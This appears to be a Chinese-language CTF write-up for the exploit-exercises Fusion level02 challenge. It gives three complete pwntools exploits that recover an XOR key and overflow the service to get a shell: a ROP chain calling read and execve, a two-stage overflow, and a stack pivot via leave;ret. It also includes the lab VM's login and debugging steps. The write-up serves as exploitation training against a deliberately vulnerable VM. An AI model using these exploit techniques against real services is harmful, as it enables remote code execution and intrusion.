exploit-exercises.com/fusion/level02/

题目: https://exploit-exercises.com/fusion/level02/

参考: CTF PWN绕过 ASLR 和 NX 的三种利用方式(http://mp.weixin.qq.com/s/6FptDuyOSp83t-B1y4SooQ

工具:  Kali Linux, pwntool,  gdb, peda

      这是第一次玩 pwn,几乎全程安照参考的文章做下来。参考的文章已经讲的非常详细了。我只记录下参考中没有提到的和我的实施过程。

      首先从题目网站下载了 fusion 的 iso,在 macos 下用 vmware fusion 跑起来。

ssh 登录 ,用户名是 fusion / godmode

sudo  -s

lsof -i

可以看到 level02这题是在20002端口。

我们用 pwntool 连接后,level02进程会产生一个新的进程来应答。因此 gdb attach 时要 attach 到对应的进程号上去。


第一次发送 长 payload 后,在断点处查看 $ebp + 4 并没有看到预期的 0x414b4141 (peda pattern)。第二次又发送了任意 payload 后,查看$ebp + 4 得到了预期的结果。说明第一次执行时,nread 没有执行完?

接下来在构造 ROP 链时,我都用 pwntool 来查所需的地址。 首先将 /opt/fusion/bin/level02 下载到 kali linux

e = ELF('bin/level02')
print hex(e.bss())
print hex(e.plt['read'])
print hex(e.plt['execve'])
print hex(e.symbols['encrypt_file'])
我用 objdump -d level02 来查找合适的返回点 

方法一  一次溢出,先将'/bin/sh\0x00' 写入 BSS,再弹出栈中的三个参数,最后来到execve并执行。

from pwn import *

STRING1 = "encryption service --]\n"
STRING2 = "staff to retrieve your file --]\n"

def getkey(p):
    key = ""
    p.recvuntil(STRING1)
    p.send("E")

    data = "\xff" * 128
    p.send(p32(len(data)))
    p.send(data)
    p.recvuntil(STRING2)
    keylen = u32(p.recv(4))
    print(keylen)
    tmp_key = p.recv(keylen)

    for x in xrange(0, 128):
        key += chr(ord(tmp_key[x]) ^ 0xff)
    print(keylen)
    return key

def encrypt_payload(payload, key):
    payload_len = len(payload)
    result = ""
    for x in xrange(0, payload_len):
        result += chr(ord(payload[x]) ^ ord(key[x % len(key)]))
    return result

def getresult(p, payload):
    #p.recvuntil(STRING1)
    p.send("E")

    p.send(p32(len(payload)))
    p.send(payload)
    p.recvuntil(STRING2)
    resultlen = u32(p.recv(4))
    print(resultlen)
    result = p.recv(resultlen)

    return result

READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
BSSNULLADDR = 0x804b430
EXECVEPLT = 0x80489b0

def readsh(p, key):

    payload = 131088 * 'A' + p32(READPLT) + p32(POPRET) + p32(0) + p32(BSSADDR) + p32(len(SH)) + p32(EXECVEPLT) + 'AAAA' + p32(BSSADDR) + p32(BSSNULLADDR) + p32(BSSNULLADDR)
    ple = encrypt_payload(payload, key)
    result = getresult(p, ple)
    p.send('Q')
    
if __name__ ==  "__main__":
    host = "192.168.49.164"
    port = 20002
    p = remote(host, port)
    key = getkey(p)
    print(key.encode('hex'))

    readsh(p, key)
    p.send(SH)
    p.interactive()
方法二。两次溢出。 第一次将'/bin/sh\0x00'写入 bss,返回到 encrypt_file, 第二次溢出执行 execve

READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
BSSNULLADDR = 0x804b430
EXECVEPLT = 0x80489b0
ENCRYPTFILE = 0x80497f7

def overflow1(p, key):

    payload = 131088 * 'A' + p32(READPLT) + p32(ENCRYPTFILE) + p32(0) + p32(BSSADDR) + p32(len(SH))
    ple = encrypt_payload(payload, key)
    result = getresult(p, ple)
    p.send('Q')

def overflow2(p, key):
    payload = 131088 * 'A' + p32(EXECVEPLT) + 'AAAA' + p32(BSSADDR) + p32(BSSNULLADDR) + p32(BSSNULLADDR)
    ple = encrypt_payload(payload, key)
    result = getresult(p, ple)
    p.send('Q')
    
if __name__ ==  "__main__":
    host = "192.168.49.164"
    port = 20002
    p = remote(host, port)
    key = getkey(p)
    print(key.encode('hex'))

    overflow1(p, key)
    p.send(SH)
    overflow2(p, key)
    p.interactive()
方法三   stack pivot.  在 bss 段设置好利用代码,通过将 ebp 设置为 bss 段的地址,再将 ebp 赋值给 esp(通过 leave ret),达到改变栈地址的目的。

READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
NULLADDR = 0x804b448
EXECVEPLT = 0x80489b0
ENCRYPTFILE = 0x80497f7
LEAVERET = 0x804995c
POPEBPRET = 0x8048b13

def stackpivot(p, key):
    payload = 131088 * 'A' + p32(POPEBPRET) + p32(BSSADDR) + p32(READPLT) + p32(LEAVERET) + p32(0) + p32(BSSADDR) + p32(200)
    ple = encrypt_payload(payload, key)
    result = getresult(p, ple)
    p.send('Q')
    
if __name__ ==  "__main__":
    host = "192.168.49.164"
    port = 20002
    p = remote(host, port)
    key = getkey(p)
    print(key.encode('hex'))
    
    stackpivot(p, key)
    payload2 = 'A'*4 + p32(EXECVEPLT) + 'A'*4 + p32(BSSADDR+24) + p32(NULLADDR) + p32(NULLADDR) + SH
    
    p.send(payload2)
    p.interactive()

    
重复的代码略去。

对于 NULLADDR,我是通过 gdb 查看 bss 段来确定的

x /32xb 0x804b420

感谢 giantbranch 的分享,你的这篇《CTF PWN绕过 ASLR 和 NX 的三种利用方式》我反复看了可能不下10遍。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值